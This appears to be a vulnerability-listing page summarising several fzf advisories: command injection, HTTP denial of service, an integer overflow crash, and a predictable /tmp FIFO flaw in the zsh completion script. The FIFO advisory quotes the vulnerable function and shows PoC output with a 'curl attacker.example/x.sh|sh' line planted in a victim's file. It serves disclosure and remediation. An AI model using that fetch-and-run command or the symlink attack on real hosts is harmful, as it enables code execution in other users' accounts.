Where
-Infinity
0

Vendor Risk Score

See how junegunn compares to other vendors in security performance

View Risk Score →
Severity
7
OS Command Injection, Command Injection
AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

[GHSA-w6x2-f5m4-xw82: Arbitrary command execution via bash arithmetic expansion on unvalidated layout size in fzf-tmux (-l/-u attached value)]

1 / 3
Source: OSV
First published (updated )
Severity
5.7
AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

fzf is vulnerable to a Denial of Service (DoS) due to inefficient HTTP body processing in the --listen mode due to inefficient HTTP body processing using repeated string concatenation, resulting in quadratic time complexity (O(n²)). A crafted POST request with many small segments can trigger excessive CPU usage during request handling.This allows a single malicious request to monopolize the single‑threaded HTTP server, blocking all other clients and resulting in denial of service.

This issue was fixed in version 0.73.1.

1 / 2
Source: MITRE
First published (updated )
Severity
5.6
Integer Overflow
AV:L/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

fzf is vulnerable to Integer Overflow leading to crash in FuzzyMatchV2 function. When input line length is approximately 2,200,000 bytes and pattern length is 999 bytes, the product overflows. The Go runtime detects the invalid slice bounds and terminates the process immediately with a non-recoverable panic.

This issue was fixed in version 0.73.1.

1 / 2
Source: MITRE
First published (updated )
Severity
5
AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:H/A:N

Summary

shell/completion.zsh feeds every trigger-driven zsh completion through a FIFO at a predictable, PID-based path in shared /tmp (fzf-complete-fifo-$$), without checking the failure of rm -f/mkfifo. On a multi-user host, another local user can pre-create that path as a symlink to a victim-writable file (e.g. ~/.bashrc), causing the victim's own completion to overwrite it with the completion stream — with attacker-influenced content (e.g. via process names in ps output), escalating to code execution at the victim's next login. A pre-created plain FIFO instead leaks/blocks on the completion stream.

Reporter / Credits: Sai Sreewathsa Kovalluri, Shon Babu and Kannan K (Researchers), Innspark Solutions https://innspark.in/

Details

shell/completion.zsh (tag 0.74.4, commit a140afeb):

- line ~246: fifo="${TMPDIR:-/tmp}/fzf-complete-fifo-$$" — predictable name; shell PIDs are low/guessable and a wide range can be pre-created. - lines 216-220, verbatim:

zsh fzffeedfifo() { command rm -f "$1" # fails (EPERM) on an attacker-owned entry in sticky /tmp — error ignored mkfifo "$1" # fails (EEXIST) — exit status unchecked cat <&0 > "$1" &| # follows the attacker symlink / blocks on the attacker FIFO }

Attack modes (no race required):

1. File clobber → code execution: > "$1" follows a pre-created symlink, truncating/overwriting a victim-writable file with the completion input stream using the victim's privileges. For kill-completion the stream includes attacker-influenced process names, so planted lines can land in the victim's startup file. 2. Information leak / hang: a pre-created plain FIFO makes the victim's cat block until the attacker reads the stream (full ps output, host lists, variable names).

PoC

Mechanism verified with the function extracted byte-for-byte from shell/completion.zsh (only &| → &, a syntax port irrelevant to the flaw), reproducing the cross-user /tmp precondition via an entry the victim cannot remove (identical to sticky /tmp semantics for an attacker-owned entry):

console rm: cannot remove '.../fzf-complete-fifo-4242': Permission denied mkfifo: cannot create fifo '.../fzf-complete-fifo-4242': File exists

=== victim file AFTER the victim's completion ran === evil-process; curl attacker.example/x.sh|sh; : other-stream-data

The file was overwritten despite both rm and mkfifo failing. A self-contained reproducer was provided by email (poc-t04-fifo-clobber.sh).

Impact

Local (multi-user host; CWE-377 / CWE-59). Any victim running zsh with fzf trigger completion (kill/ssh/telnet/export/unset/unalias <TAB>) on a host shared with an attacker risks silent overwrite of arbitrary user files (→ code execution at next login) or disclosure of the completion stream. Suggested fix: create the FIFO inside a private mktemp -d directory (mode 700) and check mkfifo's exit status, removing the rm-then-mkfifo TOCTOU entirely.

Reported privately to the maintainer by email; fix prepared for the next release.

Exploitability in practice

On a default modern host the file-overwrite variant is blocked by fs.protectedsymlinks (a process will not follow a symlink in a sticky, world-writable directory owned by another user), and protectedfifos/protectedregular further limit the FIFO variants. Exploitation therefore depends on these kernel protections being disabled. The information exposed is a bounded completion candidate list (process names, hostnames, variable names) rather than arbitrary data, and the "code execution at next login" outcome is a downstream chain requiring the victim to both have the clobbered file sourced and log in again.

1 / 2
Source: GitHub
First published (updated )
Severity
2
AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

fzf 0.36.0 through 0.74.5 contains an inefficient algorithmic complexity vulnerability in maskActionContents that allows local attackers to exhaust the --listen HTTP server through quadratic string concatenation. Attackers can repeatedly send POST bodies of about 1 MB to the unauthenticated localhost port, blocking the single-threaded server for about 30 seconds each time.

1 / 2
Source: Ubuntu
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203